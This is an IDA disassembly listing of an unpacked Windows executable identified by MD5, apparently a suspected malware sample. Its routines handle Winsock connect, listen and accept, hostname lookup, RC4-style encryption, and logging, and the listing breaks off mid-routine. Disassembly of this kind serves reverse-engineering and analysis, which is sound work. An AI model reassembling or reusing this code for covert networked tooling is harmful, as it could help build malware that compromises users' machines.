; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : EAF51A86D9650C67C1387C06E235024E ; File Name : u:\work\eaf51a86d9650c67c1387c06e235024e_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00040000 ( 262144.) ; Section size in file : 00040000 ( 262144.) ; Offset to raw data for section: 00001000 ; Flags C0000060: Text Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write DMN0 segment para public 'DATA' use32 assume cs:DMN0 ;org 401000h assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_401001 proc near ; CODE XREF: sub_40400E+3Fp ; sub_404CDF+6Bp arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_401013 ; --------------------------------------------------------------------------- loc_40100B: ; CODE XREF: sub_401001+14j call dword_411CC8 ; GetTickCount mov esi, eax loc_401013: ; CODE XREF: sub_401001+8j test esi, esi jz short loc_40100B mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi cmp dword ptr [ebx], 0 jnz short loc_40102F inc dword ptr [ebx] loc_40102F: ; CODE XREF: sub_401001+2Aj mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_401001 endp ; =============== S U B R O U T I N E ======================================= sub_40103C proc near ; CODE XREF: sub_406A81+20p push offset dword_412860 call dword_411CCC ; InitializeCriticalSection retn sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401048 proc near ; CODE XREF: sub_40122A+35p ; sub_4019C3+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push 1 mov eax, [ebp+arg_0] push eax call sub_4070D0 pop ecx pop ecx mov ebx, eax push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection mov eax, ebx pop ebx pop ebp retn sub_401048 endp ; =============== S U B R O U T I N E ======================================= sub_401076 proc near ; CODE XREF: sub_40122A+1Fp ; sub_401A3B+Bp ... arg_0 = dword ptr 4 push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push [esp+arg_0] call sub_407480 pop ecx push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection retn sub_401076 endp ; =============== S U B R O U T I N E ======================================= sub_401097 proc near ; CODE XREF: sub_406A81+2Ap push offset dword_412878 call dword_411CCC ; InitializeCriticalSection retn sub_401097 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi xor esi, esi cmp dword ptr [ebp+8], 0 jz loc_40115E push 0FFFFFFF5h call dword_411CD8 ; GetStdHandle cmp eax, 0FFFFFFFFh jz loc_40115E push offset dword_412878 call dword_411CD0 ; RtlEnterCriticalSection lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] push 100h lea eax, [ebp-100h] push eax call sub_407550 add esp, 10h mov ebx, eax cmp ebx, 0FFh jbe short loc_401140 push 1 lea eax, [ebx+80h] push eax call sub_4070D0 pop ecx pop ecx mov esi, eax lea edi, [ebp+0Ch] push edi push dword ptr [ebp+8] lea eax, [ebx+1Fh] push eax push esi call sub_407550 add esp, 10h mov ebx, eax push esi push offset aS_0 ; "%s" call sub_4075F0 pop ecx pop ecx push esi call sub_407480 pop ecx jmp short loc_401153 ; --------------------------------------------------------------------------- loc_401140: ; CODE XREF: DMN0:00401100j lea eax, [ebp-100h] push eax push offset aS_0 ; "%s" call sub_4075F0 pop ecx pop ecx loc_401153: ; CODE XREF: DMN0:0040113Ej push offset dword_412878 call dword_411CD4 ; RtlLeaveCriticalSection loc_40115E: ; CODE XREF: DMN0:004010B6j ; DMN0:004010CCj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_401165 proc near ; CODE XREF: sub_406A81+25p push offset dword_412890 call dword_411CCC ; InitializeCriticalSection retn sub_401165 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push ebx lea eax, [ebp-10h] push eax call dword_411CDC ; GetLocalTime cmp word ptr [ebp-8], 0Ch jnb short loc_401190 mov ebx, offset aAm ; "AM" jmp short loc_401195 ; --------------------------------------------------------------------------- loc_401190: ; CODE XREF: DMN0:00401187j mov ebx, offset aPm ; "PM" loc_401195: ; CODE XREF: DMN0:0040118Ej push ebx movzx eax, word ptr [ebp-4] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] mov ecx, 0Ch cdq idiv ecx push edx movzx eax, word ptr [ebp-10h] mov ecx, 64h cdq idiv ecx push edx movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset a02i02i02iIIIS ; "%02i/%02i/%02i %i:%i:%i%s" push dword ptr [ebp+8] call sub_407650 add esp, 24h pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push offset dword_412890 call dword_411CD0 ; RtlEnterCriticalSection push offset aA ; "a" push dword ptr [ebp+8] call sub_407690 pop ecx pop ecx mov ebx, eax test ebx, ebx jz short loc_40121A lea eax, [ebp+10h] mov [ebp-4], eax push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push ebx call sub_407740 add esp, 0Ch push ebx call sub_4078F0 pop ecx loc_40121A: ; CODE XREF: DMN0:004011FCj push offset dword_412890 call dword_411CD4 ; RtlLeaveCriticalSection pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40122A proc near ; CODE XREF: sub_406A81+4Bp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] jmp short loc_40124F ; --------------------------------------------------------------------------- loc_401237: ; CODE XREF: sub_40122A+2Cj dec dword_411000 mov eax, dword_411000 push dword_4128A8[eax*4] call sub_401076 pop ecx loc_40124F: ; CODE XREF: sub_40122A+Bj cmp dword_411000, 0 jnz short loc_401237 jmp short loc_4012CB ; --------------------------------------------------------------------------- loc_40125A: ; CODE XREF: sub_40122A+ADj push 401h call sub_401048 pop ecx mov edx, dword_411000 mov dword_4128A8[edx*4], eax cmp byte ptr [ebx], 22h jnz short loc_40127E inc ebx mov [ebp+var_1], 22h jmp short loc_401282 ; --------------------------------------------------------------------------- loc_40127E: ; CODE XREF: sub_40122A+4Bj mov [ebp+var_1], 20h loc_401282: ; CODE XREF: sub_40122A+52j and [ebp+var_8], 0 mov eax, dword_411000 lea edx, [eax+1] mov dword_411000, edx mov esi, dword_4128A8[eax*4] jmp short loc_4012A3 ; --------------------------------------------------------------------------- loc_40129D: ; CODE XREF: sub_40122A+8Bj mov al, [ebx] mov [esi], al inc esi inc ebx loc_4012A3: ; CODE XREF: sub_40122A+71j mov al, [ebx] test al, al jz short loc_4012B7 cmp al, [ebp+var_1] jz short loc_4012B7 cmp [ebp+var_8], 400h jl short loc_40129D loc_4012B7: ; CODE XREF: sub_40122A+7Dj ; sub_40122A+82j cmp [ebp+var_1], 22h jnz short loc_4012C6 cmp byte ptr [ebx], 22h jnz short loc_4012C6 inc ebx jmp short loc_4012C6 ; --------------------------------------------------------------------------- loc_4012C5: ; CODE XREF: sub_40122A+9Fj inc ebx loc_4012C6: ; CODE XREF: sub_40122A+91j ; sub_40122A+96j ... cmp byte ptr [ebx], 20h jz short loc_4012C5 loc_4012CB: ; CODE XREF: sub_40122A+2Ej cmp byte ptr [ebx], 0 jz short loc_4012D9 cmp dword_411000, 20h jl short loc_40125A loc_4012D9: ; CODE XREF: sub_40122A+A4j mov eax, dword_411000 and dword_4128A8[eax*4], 0 pop esi pop ebx mov esp, ebp pop ebp retn sub_40122A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4012EC proc near ; CODE XREF: sub_406A81+256p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h push ebx push esi mov bx, 2 lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_40703E ; WSAStartup mov esi, eax test esi, esi jz short loc_40133C mov bx, 101h lea eax, [ebp+var_190] push eax movzx eax, bx push eax call sub_40703E ; WSAStartup mov esi, eax test esi, esi jz short loc_40132F xor eax, eax jmp short loc_40134A ; --------------------------------------------------------------------------- loc_40132F: ; CODE XREF: sub_4012EC+3Dj push offset aWinsock1_1Init ; "WinSock 1.1 initialized.\n" call nullsub_2 pop ecx jmp short loc_401347 ; --------------------------------------------------------------------------- loc_40133C: ; CODE XREF: sub_4012EC+23j push offset aWinsock2_xInit ; "WinSock 2.x initialized.\n" call nullsub_2 pop ecx loc_401347: ; CODE XREF: sub_4012EC+4Ej xor eax, eax inc eax loc_40134A: ; CODE XREF: sub_4012EC+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_4012EC endp ; --------------------------------------------------------------------------- call sub_407044 ; WSACleanup xor eax, eax inc eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401359 proc near ; CODE XREF: sub_402896+BDp ; sub_403C3F+DCp ... var_4 = dword ptr -4 push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_40704A ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_401377 xor eax, eax jmp short loc_4013CD ; --------------------------------------------------------------------------- loc_401377: ; CODE XREF: sub_401359+18j mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1005h push 0FFFFh push ebx call sub_407050 ; setsockopt mov [ebp+var_4], 112A880h push 4 lea eax, [ebp+var_4] push eax push 1006h push 0FFFFh push ebx call sub_407050 ; setsockopt mov [ebp+var_4], 1 push 4 lea eax, [ebp+var_4] push eax push 8 push 0FFFFh push ebx call sub_407050 ; setsockopt mov eax, ebx loc_4013CD: ; CODE XREF: sub_401359+1Cj pop ebx mov esp, ebp pop ebp retn sub_401359 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push 6 push 1 push 2 call sub_40704A ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4013F0 xor eax, eax jmp short loc_401451 ; --------------------------------------------------------------------------- loc_4013F0: ; CODE XREF: DMN0:004013EAj imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_407050 ; setsockopt imul eax, [ebp+8], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_407050 ; setsockopt xor eax, eax cmp dword ptr [ebp+10h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_407050 ; setsockopt mov eax, ebx loc_401451: ; CODE XREF: DMN0:004013EEj pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+8] imul eax, [ebp+10h], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1005h push 0FFFFh push ebx call sub_407050 ; setsockopt imul eax, [ebp+0Ch], 3E8h mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 1006h push 0FFFFh push ebx call sub_407050 ; setsockopt xor eax, eax cmp dword ptr [ebp+14h], 0 setnz al mov [ebp-4], eax push 4 lea eax, [ebp-4] push eax push 8 push 0FFFFh push ebx call sub_407050 ; setsockopt pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4014C2 proc near ; CODE XREF: sub_4025A9+15Dp ; sub_4025A9+1B4p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_407056 ; closesocket xor eax, eax inc eax retn sub_4014C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014CF proc near ; CODE XREF: sub_40417F+15Fp ; sub_40417F+1D9p ... var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi mov ebx, [ebp+arg_0] and [ebp+var_10C], 0 and [ebp+var_108], 0 and [ebp+var_104], 0 cmp [ebp+var_104], 40h jnb short loc_401511 mov eax, [ebp+var_104] lea edx, [eax+1] mov [ebp+var_104], edx mov [ebp+eax*4+var_100], ebx loc_401511: ; CODE XREF: sub_4014CF+2Aj lea eax, [ebp+var_10C] push eax push 0 push 0 lea eax, [ebp+var_104] push eax push 0 call sub_40705C ; select mov esi, eax cmp eax, 0FFFFFFFFh jz short loc_40153C test esi, esi jnz short loc_401539 xor eax, eax jmp short loc_40153C ; --------------------------------------------------------------------------- loc_401539: ; CODE XREF: sub_4014CF+64j xor eax, eax inc eax loc_40153C: ; CODE XREF: sub_4014CF+60j ; sub_4014CF+68j pop esi pop ebx mov esp, ebp pop ebp retn sub_4014CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401542 proc near ; CODE XREF: sub_402562+13p ; sub_4025A9+1F5p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call sub_407062 ; ioctlsocket mov ebx, eax cmp eax, 0FFFFFFFFh jz short loc_401562 mov eax, [ebp+var_4] loc_401562: ; CODE XREF: sub_401542+1Bj pop ebx mov esp, ebp pop ebp retn sub_401542 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401567 proc near ; CODE XREF: sub_4025A9+14Ep ; sub_402896+DBp ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_407960 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_407068 ; htons mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_40706E ; connect cmp eax, 0FFFFFFFFh jnz short loc_4015AF xor eax, eax jmp short loc_4015B2 ; --------------------------------------------------------------------------- loc_4015AF: ; CODE XREF: sub_401567+42j xor eax, eax inc eax loc_4015B2: ; CODE XREF: sub_401567+46j pop ebx mov esp, ebp pop ebp retn sub_401567 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015B7 proc near ; CODE XREF: sub_40440D+1Fp ; sub_404CDF+A7p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push 10h push 0 lea eax, [ebp+var_10] push eax call sub_407960 add esp, 0Ch mov [ebp+var_10], 2 mov eax, [ebp+arg_4] mov [ebp+var_C], eax movzx eax, [ebp+arg_8] push eax call sub_407068 ; htons mov [ebp+var_E], ax lea ebx, [ebp+var_10] push 10h push ebx push [ebp+arg_0] call sub_407074 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4015FF xor eax, eax jmp short loc_401602 ; --------------------------------------------------------------------------- loc_4015FF: ; CODE XREF: sub_4015B7+42j xor eax, eax inc eax loc_401602: ; CODE XREF: sub_4015B7+46j pop ebx mov esp, ebp pop ebp retn sub_4015B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401607 proc near ; CODE XREF: sub_40440D+3Ep ; sub_404CDF+1E9p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 5 push [ebp+arg_0] call sub_40707A ; listen test eax, eax jge short loc_40161C xor eax, eax jmp short loc_40161F ; --------------------------------------------------------------------------- loc_40161C: ; CODE XREF: sub_401607+Fj xor eax, eax inc eax loc_40161F: ; CODE XREF: sub_401607+13j pop ebp retn sub_401607 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401621 proc near ; CODE XREF: sub_406086+63p var_14 = dword ptr -14h var_10 = word ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp+var_10] push eax call sub_407960 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea esi, [ebp+var_10] lea eax, [ebp+var_14] push eax push esi push [ebp+arg_0] call sub_407080 ; accept mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_401664 xor eax, eax jmp short loc_401666 ; --------------------------------------------------------------------------- loc_401664: ; CODE XREF: sub_401621+3Dj mov eax, ebx loc_401666: ; CODE XREF: sub_401621+41j pop esi pop ebx mov esp, ebp pop ebp retn sub_401621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40166C proc near ; CODE XREF: sub_40440D+56p ; sub_404CDF+201p var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_8] mov edx, [ebp+arg_4] and dword ptr [edx], 0 mov word ptr [ebx], 0 push 10h push 0 lea eax, [ebp+var_10] push eax call sub_407960 add esp, 0Ch mov [ebp+var_10], 2 mov [ebp+var_14], 10h lea edi, [ebp+var_10] lea eax, [ebp+var_14] push eax push edi push [ebp+arg_0] call sub_407080 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4016BE xor eax, eax jmp short loc_4016D5 ; --------------------------------------------------------------------------- loc_4016BE: ; CODE XREF: sub_40166C+4Cj mov edx, [ebp+arg_4] mov eax, [ebp+var_C] mov [edx], eax movzx eax, [ebp+var_E] push eax call sub_407086 ; htons mov [ebx], ax mov eax, esi loc_4016D5: ; CODE XREF: sub_40166C+50j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40166C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016DC proc near ; CODE XREF: sub_401BAC+44p ; sub_401BAC+A3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_401707 ; --------------------------------------------------------------------------- loc_4016EA: ; CODE XREF: sub_4016DC+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_40708C ; recv mov esi, eax test esi, esi jg short loc_401703 or eax, 0FFFFFFFFh jmp short loc_40170E ; --------------------------------------------------------------------------- loc_401703: ; CODE XREF: sub_4016DC+20j sub edi, esi add ebx, esi loc_401707: ; CODE XREF: sub_4016DC+Cj test edi, edi jg short loc_4016EA mov eax, [ebp+arg_8] loc_40170E: ; CODE XREF: sub_4016DC+25j pop edi pop esi pop ebx pop ebp retn sub_4016DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401713 proc near ; CODE XREF: sub_4025A9+1E3p ; sub_402896+149p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_8] mov edi, ebx xor ebx, ebx jmp short loc_401742 ; --------------------------------------------------------------------------- loc_401722: ; CODE XREF: sub_401713+31j push 0 push ebx push [ebp+arg_4] push [ebp+arg_0] call sub_40708C ; recv mov esi, eax test esi, esi jle short loc_401746 sub edi, esi mov eax, [ebp+arg_4] add eax, esi mov [ebp+arg_4], eax add ebx, esi loc_401742: ; CODE XREF: sub_401713+Dj test edi, edi jg short loc_401722 loc_401746: ; CODE XREF: sub_401713+21j mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_401713 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+10h] mov edi, ebx xor ebx, ebx jmp short loc_40177C ; --------------------------------------------------------------------------- loc_40175C: ; CODE XREF: DMN0:0040177Ej push 0 push ebx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40708C ; recv mov esi, eax test esi, esi jle short loc_401780 sub edi, esi mov eax, [ebp+0Ch] add eax, esi mov [ebp+0Ch], eax add ebx, esi loc_40177C: ; CODE XREF: DMN0:0040175Aj test edi, edi jg short loc_40175C loc_401780: ; CODE XREF: DMN0:0040176Ej mov eax, ebx pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401787 proc near ; CODE XREF: sub_401ADA+97p ; sub_4025A9+1A4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_4] mov edi, [ebp+arg_8] jmp short loc_4017B2 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401787+2Dj push 0 push [ebp+arg_8] push ebx push [ebp+arg_0] call sub_407092 ; send mov esi, eax test esi, esi jg short loc_4017AE or eax, 0FFFFFFFFh jmp short loc_4017B9 ; --------------------------------------------------------------------------- loc_4017AE: ; CODE XREF: sub_401787+20j sub edi, esi add ebx, esi loc_4017B2: ; CODE XREF: sub_401787+Cj test edi, edi jg short loc_401795 mov eax, [ebp+arg_8] loc_4017B9: ; CODE XREF: sub_401787+25j pop edi pop esi pop ebx pop ebp retn sub_401787 endp ; =============== S U B R O U T I N E ======================================= sub_4017BE proc near ; CODE XREF: DMN0:00401882p ; sub_403C3F+30p ... arg_0 = dword ptr 4 push ebx push esi xor esi, esi push [esp+8+arg_0] call sub_407098 ; inet_addr mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4017F2 push [esp+8+arg_0] call sub_40709E ; gethostbyname mov esi, eax test esi, esi jnz short loc_4017E9 or eax, 0FFFFFFFFh jmp short loc_4017F4 ; --------------------------------------------------------------------------- loc_4017E9: ; CODE XREF: sub_4017BE+24j mov eax, [esi+0Ch] mov eax, [eax] mov eax, [eax] jmp short loc_4017F4 ; --------------------------------------------------------------------------- loc_4017F2: ; CODE XREF: sub_4017BE+15j mov eax, ebx loc_4017F4: ; CODE XREF: sub_4017BE+29j ; sub_4017BE+32j pop esi pop ebx retn sub_4017BE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push ebx push esi push 10h push 0 lea eax, [ebp-10h] push eax call sub_407960 add esp, 0Ch mov word ptr [ebp-10h], 2 mov dword ptr [ebp-14h], 10h lea ebx, [ebp-10h] lea eax, [ebp-14h] push eax push ebx push dword ptr [ebp+8] call sub_4070A4 ; getsockname mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_401837 xor eax, eax jmp short loc_401852 ; --------------------------------------------------------------------------- loc_401837: ; CODE XREF: DMN0:00401831j mov edx, [ebp+0Ch] mov eax, [ebp-0Ch] mov [edx], eax movzx eax, word ptr [ebp-0Eh] push eax call sub_407086 ; htons mov edx, [ebp+10h] mov [edx], ax xor eax, eax inc eax loc_401852: ; CODE XREF: DMN0:00401835j pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h push ebx push esi mov byte ptr [ebp-400h], 0 push 400h lea eax, [ebp-400h] push eax call sub_4070AA ; gethostname lea eax, [ebp-400h] push eax call sub_4017BE pop ecx mov ebx, eax mov [ebp-404h], ebx mov eax, [ebp-404h] push eax call sub_4070B0 ; inet_ntoa mov esi, eax push esi lea eax, [ebp-400h] push eax push offset aSIsS ; "%s is %s\n" call nullsub_2 add esp, 0Ch mov eax, ebx pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018BB proc near ; CODE XREF: sub_401A55+14p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edx, [ebp+arg_0] and dword ptr [edx+400h], 0 mov edx, [ebp+arg_0] and dword ptr [edx+404h], 0 mov ebx, [ebp+arg_0] xor ecx, ecx loc_4018DD: ; CODE XREF: sub_4018BB+2Cj mov [ebx+ecx*4], ecx inc ecx cmp ecx, 100h jl short loc_4018DD and [ebp+var_8], 0 xor edi, edi xor ecx, ecx loc_4018F1: ; CODE XREF: sub_4018BB+77j lea eax, [ebx+ecx*4] mov [ebp+var_C], eax mov edx, [eax] mov [ebp+var_4], edx add edx, edi mov esi, [ebp+var_8] mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+esi] add eax, edx movzx edi, al mov eax, [ebx+edi*4] mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_4] mov [ebx+edi*4], eax mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax cmp eax, [ebp+arg_8] jl short loc_40192B and [ebp+var_8], 0 loc_40192B: ; CODE XREF: sub_4018BB+6Aj inc ecx cmp ecx, 100h jl short loc_4018F1 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4018BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40193B proc near ; CODE XREF: sub_401ADA+86p ; sub_401BAC+71p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov eax, [ebp+arg_0] mov ebx, [eax+400h] mov edi, [eax+404h] mov ecx, eax and [ebp+var_8], 0 jmp short loc_4019A2 ; --------------------------------------------------------------------------- loc_40195B: ; CODE XREF: sub_40193B+6Dj lea eax, [ebx+1] movzx ebx, al lea eax, [ecx+ebx*4] mov edx, [eax] mov [ebp+var_4], edx add edx, edi movzx edi, dl mov edx, [ecx+edi*4] mov [ebp+var_C], edx mov [eax], edx mov eax, [ebp+var_4] mov [ecx+edi*4], eax mov eax, [ebp+var_8] mov edx, [ebp+arg_4] add eax, edx mov [ebp+var_10], eax movsx edx, byte ptr [eax] mov esi, [ebp+var_4] mov eax, [ebp+var_C] add eax, esi movzx eax, al xor edx, [ecx+eax*4] mov al, dl mov edx, [ebp+var_10] mov [edx], al inc [ebp+var_8] loc_4019A2: ; CODE XREF: sub_40193B+1Ej mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jl short loc_40195B mov edx, [ebp+arg_0] mov [edx+400h], ebx mov edx, [ebp+arg_0] mov [edx+404h], edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40193B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019C3 proc near ; CODE XREF: sub_403C3F+EFp var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push 474h call sub_401048 pop ecx mov esi, eax push 10020h call sub_401048 pop ecx mov [esi+46Ch], eax mov [ebp+var_1], 5Ah xor ebx, ebx loc_4019ED: ; CODE XREF: sub_4019C3+3Fj mov al, [ebp+var_1] mov [esi+ebx+4], al movsx eax, [ebp+var_1] lea eax, [ebx+eax*2] mov [ebp+var_1], al inc ebx cmp ebx, 40h jl short loc_4019ED mov [ebp+var_1], 0A5h xor ebx, ebx loc_401A0A: ; CODE XREF: sub_4019C3+5Dj mov al, [ebp+var_1] mov [esi+ebx+44h], al movsx eax, [ebp+var_1] add eax, eax sub eax, ebx mov [ebp+var_1], al inc ebx cmp ebx, 20h jl short loc_401A0A mov eax, [ebp+arg_0] mov [esi], eax mov eax, [esi+46Ch] mov [esi+470h], eax mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_4019C3 endp ; =============== S U B R O U T I N E ======================================= sub_401A3B proc near ; CODE XREF: sub_403C3F+37Fp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push dword ptr [ebx+46Ch] call sub_401076 pop ecx push ebx call sub_401076 pop ecx pop ebx retn sub_401A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A55 proc near ; CODE XREF: sub_401ADA+27p ; sub_401BAC+36p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] push 40h lea eax, [ebx+4] push eax lea eax, [ebx+64h] push eax call sub_4018BB add esp, 0Ch mov al, [ebx+4] mov [ebp+var_1], al push 3Fh lea eax, [ebx+5] push eax lea eax, [ebx+4] push eax call sub_4079C0 add esp, 0Ch mov al, [ebp+var_1] mov [ebx+43h], al xor esi, esi xor edi, edi jmp short loc_401AAD ; --------------------------------------------------------------------------- loc_401A95: ; CODE XREF: sub_401A55+5Bj lea eax, [ebx+esi+4] mov dl, [ebx+edi+44h] add [eax], dl lea eax, [edi+1] mov ecx, 20h cdq idiv ecx mov edi, edx inc esi 